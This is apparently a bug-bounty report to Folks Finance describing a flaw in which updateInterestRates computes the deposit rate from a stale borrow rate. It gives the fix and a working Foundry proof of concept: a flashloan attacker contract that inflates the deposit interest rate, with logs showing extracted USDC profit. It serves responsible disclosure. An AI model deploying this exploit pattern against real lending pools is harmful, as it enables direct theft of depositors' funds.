Submitted on Mon Jul 22 2024 16:32:36 GMT-0400 (Atlantic Standard Time) by @ethprotector for Boost | Folks Finance
Report ID: #33533
Report type: Smart Contract
Report severity: Critical
Target: https://testnet.snowtrace.io/address/0x96e957bF63B5361C5A2F45C97C46B8090f2745C2
Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
In HubPoolLogic.updateInterestRates
function
depositData.interestRate
is not calculated correctly.
function updateInterestRates(HubPoolState.PoolData storage poolData) internal {
HubPoolState.PoolAmountDataCache memory poolAmountDataCache = getPoolAmountDataCache(poolData);
uint256 totalDebt = poolAmountDataCache.variableBorrowTotalAmount + poolAmountDataCache.stableBorrowTotalAmount;
uint256 utilisationRatio = MathUtils.calcUtilisationRatio(totalDebt, poolData.depositData.totalAmount);
uint32 vr1 = poolData.variableBorrowData.vr1;
// calculate new interest rates
uint256 variableBorrowInterestRate = MathUtils.calcVariableBorrowInterestRate(
poolData.variableBorrowData.vr0,
vr1,
poolData.variableBorrowData.vr2,
utilisationRatio,
poolData.depositData.optimalUtilisationRatio
);
uint256 stableBorrowInterestRate = MathUtils.calcStableBorrowInterestRate(
vr1,
poolData.stableBorrowData.sr0,
poolData.stableBorrowData.sr1,
poolData.stableBorrowData.sr2,
poolData.stableBorrowData.sr3,
utilisationRatio,
poolData.depositData.optimalUtilisationRatio,
MathUtils.calcStableDebtToTotalDebtRatio(poolAmountDataCache.stableBorrowTotalAmount, totalDebt),
poolData.stableBorrowData.optimalStableToTotalDebtRatio
);
uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
utilisationRatio,
MathUtils.calcOverallBorrowInterestRate(
poolAmountDataCache.variableBorrowTotalAmount,
poolAmountDataCache.stableBorrowTotalAmount,
poolData.variableBorrowData.interestRate,
poolData.stableBorrowData.averageInterestRate
),
poolData.feeData.retentionRate
);
// update interest rates
poolData.variableBorrowData.interestRate = variableBorrowInterestRate;
poolData.stableBorrowData.interestRate = stableBorrowInterestRate;
poolData.depositData.interestRate = depositInterestRate;
emit InterestRatesUpdated(variableBorrowInterestRate, stableBorrowInterestRate, depositInterestRate);
}
uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
utilisationRatio,
MathUtils.calcOverallBorrowInterestRate(
poolAmountDataCache.variableBorrowTotalAmount,
poolAmountDataCache.stableBorrowTotalAmount,
poolData.variableBorrowData.interestRate,
poolData.stableBorrowData.averageInterestRate
),
poolData.feeData.retentionRate
);
poolData.variableBorrowData.interestRate is not current value. That is for last updates. So if the attacker uses flashloan, when the tx is complated, depositData.interestRate is changed.
-
Attacker can make the depositData.interestRate more than actual value. So when users (and the attacker) can get more collateral tokens than expected and others loss the money.
-
Attacker can make the depositData.interestRate smaller than actual value and liquidate some loans.
use variableBorrowInterestRate
instead of poolData.variableBorrowData.interestRate,
uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
utilisationRatio,
MathUtils.calcOverallBorrowInterestRate(
poolAmountDataCache.variableBorrowTotalAmount,
poolAmountDataCache.stableBorrowTotalAmount,
variableBorrowInterestRate,
poolData.stableBorrowData.averageInterestRate
),
poolData.feeData.retentionRate
);
In this PoC, I am going to show the first case (make the value more).
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/DataTypes.sol";
contract OracleManager is IOracleManager{
function processPriceFeed(uint8 poolId) external view returns (DataTypes.PriceFeed memory priceFeed) {
priceFeed.price = 1000130000000000000;
priceFeed.decimals = 6;
}
}
After a year, the contract is break in the testnet. So I used fixed price oracleManager for this test.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./PoC.sol";
import "./interfaces/IHubCircleTokenPool.sol";
import "./interfaces/ILoanManager.sol";
import "./interfaces/ISpokeCommon.sol";
import "./interfaces/ISpokeCircleToken.sol";
import "./interfaces/IHub.sol";
contract FlashloanContract is IERC3156FlashBorrower{
ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;
uint256 private _1USDC = 1e6;
uint256 private _1TOKEN = 1e18;
bytes32 private attackerAccountId = bytes32("attackerAccountId");
bytes32 private attackerLoanId = bytes32("attackerLoanId");
bytes32 private userAccountId = bytes32("userAccountId");
bytes32 private userLoanId = bytes32("userLoanId");
bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
bytes32 private refAccountId;
uint8 private constant poolId = 128;
bytes32 private stableLoanId = bytes32("stableLoanId");
bytes32 private variableLoanId = bytes32("variableLoanId");
Messages.MessageParams private params;
constructor() {
params = Messages.MessageParams({
adapterId: 1,
returnAdapterId: 1,
receiverValue: 0,
gasLimit: 0,
returnGasLimit: 0
});
}
function init() external {
_spokeCommon.createAccount(params, attackerAccountId, refAccountId);
_spokeCommon.createLoan(params, attackerAccountId, stableLoanId, 2, "stableLoan");
_spokeCommon.createLoan(params, attackerAccountId, variableLoanId, 2, "variableLoan");
usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
uint256 depositAmount = 20_000 * _1USDC;
_spokeCircleToken.deposit(params, attackerAccountId, stableLoanId, depositAmount);
_spokeCommon.borrow(params, attackerAccountId, stableLoanId, uint8(128), 1, 9480 * _1USDC, type(uint256).max);
uint256 fAmount = 5_000 * _1USDC;
bytes memory data = abi.encodePacked(stableLoanId, poolId, fAmount);
_hub.directOperation(Messages.Action.WithdrawFToken, attackerAccountId, data);
}
function attack() external {
bytes memory flashLoanData;
_hubCirclePool.flashLoan(IERC3156FlashBorrower(address(this)), address(_hubCirclePool), 958520 * _1USDC * 10 / 8, flashLoanData);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
bytes memory data = abi.encodePacked(variableLoanId, poolId, amount);
_hub.directOperation(Messages.Action.DepositFToken, attackerAccountId, data);
uint256 borrowAmount = 858519 * _1USDC;
printData();
console.log("****************************************************************");
for (uint256 i; i < 1; i++) {
console.log("borrow");
_spokeCommon.borrow(params, attackerAccountId, variableLoanId, poolId, 1, borrowAmount, 0);
printData();
console.log("repay");
_spokeCircleToken.repay(params, attackerAccountId, variableLoanId, borrowAmount, 0);
console.log("<<< depositData.interestRate increased after repay. >>>");
printData();
console.log("-----------------------------------------");
}
_hub.directOperation(Messages.Action.WithdrawFToken, attackerAccountId, data);
_hubCirclePool.approve(address(_hubCirclePool), amount + fee);
return RETURN_VALUE;
}
function withdraw() external {
ILoanManager.UserLoanBorrow[] memory borrows;
ILoanManager.UserLoanCollateral[] memory collaterals;
(,,,,, borrows) = _loanManager.getUserLoan(stableLoanId);
ILoanManager.UserLoanBorrow memory borrow = borrows[0];
_spokeCircleToken.repay(params, attackerAccountId, stableLoanId, borrow.amount, 0);
printData();
bytes memory data = abi.encodePacked(stableLoanId, poolId, _hubCirclePool.balanceOf(address(this)));
_hub.directOperation(Messages.Action.DepositFToken, attackerAccountId, data);
(,,,, collaterals, borrows) = _loanManager.getUserLoan(stableLoanId);
ILoanManager.UserLoanCollateral memory collateral = collaterals[0];
borrow = borrows[0];
_spokeCommon.withdraw(params, attackerAccountId, stableLoanId, poolId, 1, 15000 * _1USDC, true);
usdcToken.transfer(msg.sender, usdcToken.balanceOf(address(this)));
_hubCirclePool.transfer(msg.sender, _hubCirclePool.balanceOf(address(this)));
}
function printData() private {
IHubCircleTokenPool.DepositData memory depositData = _hubCirclePool.getDepositData();
IHubCircleTokenPool.VariableBorrowData memory variableBorrowData = _hubCirclePool.getVariableBorrowData();
IHubCircleTokenPool.StableBorrowData memory stableBorrowData = _hubCirclePool.getStableBorrowData();
uint256 getLastUpdateTimestamp = _hubCirclePool.getLastUpdateTimestamp();
// console.log("depositData.optimalUtilisationRatio", depositData.optimalUtilisationRatio);
// console.log("depositData.totalAmount", depositData.totalAmount);
console.log("depositData.interestRate", depositData.interestRate);
console.log("depositData.interestIndex", depositData.interestIndex);
console.log("variableBorrowData.totalAmount", variableBorrowData.totalAmount);
console.log("variableBorrowData.interestRate", variableBorrowData.interestRate);
console.log("variableBorrowData.interestIndex", variableBorrowData.interestIndex);
// console.log("stableBorrowData.optimalStableToTotalDebtRatio", stableBorrowData.optimalStableToTotalDebtRatio);
// console.log("stableBorrowData.rebalanceUpUtilisationRatio", stableBorrowData.rebalanceUpUtilisationRatio);
// console.log("stableBorrowData.rebalanceUpDepositInterestRate", stableBorrowData.rebalanceUpDepositInterestRate);
// console.log("stableBorrowData.rebalanceDownDelta", stableBorrowData.rebalanceDownDelta);
// console.log("stableBorrowData.totalAmount", stableBorrowData.totalAmount);
console.log("stableBorrowData.interestRate", stableBorrowData.interestRate);
console.log("stableBorrowData.averageInterestRate", stableBorrowData.averageInterestRate);
// console.log("getLastUpdateTimestamp", getLastUpdateTimestamp);
console.log("utilizationRatio", (variableBorrowData.totalAmount + stableBorrowData.totalAmount) * 10 ** 18 / depositData.totalAmount);
console.log("");
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/PoC.sol";
import "../../src/interfaces/IHubCircleTokenPool.sol";
import "../../src/interfaces/ISpokeCommon.sol";
import "../../src/interfaces/ISpokeCircleToken.sol";
import "../../src/interfaces/IHub.sol";
import "../../src/interfaces/ILoanManager.sol";
import "../../src/OracleManager.sol";
import "../../src/interfaces/IBridgeRouter.sol";
import "../../src/FlashloanContract.sol";
contract FolksFinance is PoC {
ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
IBridgeRouter private _bridgeRouter = IBridgeRouter(0xa9491a1f4f058832e5742b76eE3f1F1fD7bb6837);
ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;
FlashloanContract private _flashloanContract;
uint256 private _1USDC = 1e6;
bytes32 private attackerAccountId = bytes32("attackerAccountId");
bytes32 private attackerLoanId = bytes32("attackerLoanId");
bytes32 private userAccountId = bytes32("userAccountId");
bytes32 private userLoanId = bytes32("userLoanId");
bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
bytes32 private refAccountId;
Messages.MessageParams private _params;
function setUp() virtual public {
vm.createSelectFork("avalanche_fuji", 34899929);
_flashloanContract = new FlashloanContract();
// update pool config
vm.startPrank(admin);
IHubCircleTokenPool.ConfigData memory configData;
configData.canMintFToken = true;
configData.flashLoanSupported = true;
configData.stableBorrowSupported = true;
_hubCirclePool.updateConfigData(configData);
OracleManager oracleManager = new OracleManager();
_hubCirclePool.updateOracleManager(oracleManager);
_loanManager.updateOracleManager(oracleManager);
vm.stopPrank();
_params = Messages.MessageParams({
adapterId: 1,
returnAdapterId: 1,
receiverValue: 0,
gasLimit: 0,
returnGasLimit: 0
});
}
function testDepositRate() public {
{
vm.startPrank(user);
_spokeCommon.createAccount(_params, userAccountId, refAccountId);
_spokeCommon.createLoan(_params, userAccountId, userLoanId, 2, "userLoanId");
uint256 depositAmount = 1e5 * _1USDC;
uint256 borrowAmount = 5e4 * _1USDC;
usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
_spokeCircleToken.deposit(_params, userAccountId, userLoanId, depositAmount);
_spokeCommon.borrow(_params, userAccountId, userLoanId, uint8(128), 1, borrowAmount, 0);
bytes32 userLoan2 = bytes32("userLoan2");
_spokeCommon.createLoan(_params, userAccountId, userLoan2, 2, "userLoan2");
_spokeCircleToken.deposit(_params, userAccountId, userLoan2, depositAmount);
_spokeCommon.borrow(_params, userAccountId, userLoan2, uint8(128), 1, 12_000, type(uint256).max);
vm.stopPrank();
}
uint256 beforeUSDC = usdcToken.balanceOf(attacker);
uint256 fAmount = _hubCirclePool.balanceOf(attacker);
{
vm.startPrank(attacker);
usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
bytes32 _accountId = bytes32("_accountId");
_spokeCommon.createAccount(_params, _accountId, refAccountId);
// failed this tx
_spokeCircleToken.deposit(_params, _accountId, _accountId, 8e5 * _1USDC);
usdcToken.transfer(address(_flashloanContract), 1e6 * _1USDC);
_flashloanContract.init();
_flashloanContract.attack();
bytes memory extraArgs;
bytes32 messageId = 0xc973b2bb2aa65d8143ee026051dcbaa595f4cb5b5b6a8bbe20cdde04bc8d9e74;
_bridgeRouter.reverseMessage(1, messageId, extraArgs);
vm.stopPrank();
}
vm.warp(block.timestamp + 365 days);
vm.prank(user);
_spokeCircleToken.deposit(_params, attackerAccountId, bytes32(""), 1e5 * _1USDC);
vm.prank(attacker);
_flashloanContract.withdraw();
console.log("beforeUSDC: ", beforeUSDC);
console.log("fAmount: ", fAmount);
console.log("afterUSDC: ", usdcToken.balanceOf(attacker));
console.log("afterFAmount: ", _hubCirclePool.balanceOf(attacker));
console.log("profit USDC: ", usdcToken.balanceOf(attacker) - beforeUSDC);
}
}
Logs:
depositData.interestRate 9233535301192619
depositData.interestIndex 1000022518591804640
variableBorrowData.totalAmount 50005000000
variableBorrowData.interestRate 33400178096754556
variableBorrowData.interestIndex 1000441722266616308
stableBorrowData.interestRate 76360071238701822
stableBorrowData.averageInterestRate 75346171890931368
utilizationRatio 270303027644827473
****************************************************************
borrow
depositData.interestRate 127019302225650428
depositData.interestIndex 1000022518591804640
variableBorrowData.totalAmount 908524000000
variableBorrowData.interestRate 22210161531424202760
variableBorrowData.interestIndex 1000441722266616308
stableBorrowData.interestRate 22232661531424202760
stableBorrowData.averageInterestRate 75346171890931368
utilizationRatio 4171399229713630414
repay
<<< depositData.interestRate increased after repay. >>>
depositData.interestRate 4544892925919438915
depositData.interestIndex 1000022518591804640
variableBorrowData.totalAmount 50005000000
variableBorrowData.interestRate 33400178096754556
variableBorrowData.interestIndex 1000441722266616308
stableBorrowData.interestRate 76360071238701822
stableBorrowData.averageInterestRate 75346171890931368
utilizationRatio 270303027644827473
-----------------------------------------
depositData.interestRate 7035480095729247
depositData.interestIndex 5545017789099838130
variableBorrowData.totalAmount 50005000000
variableBorrowData.interestRate 31018965439825958
variableBorrowData.interestIndex 1034420951267128594
stableBorrowData.interestRate 75407586175930383
stableBorrowData.averageInterestRate 75342362580314536
utilizationRatio 229822412477041312
beforeUSDC: 4391108956478723
fAmount: 0
afterUSDC: 4391172131745559
afterFAmount: 0
profit USDC: 63175266836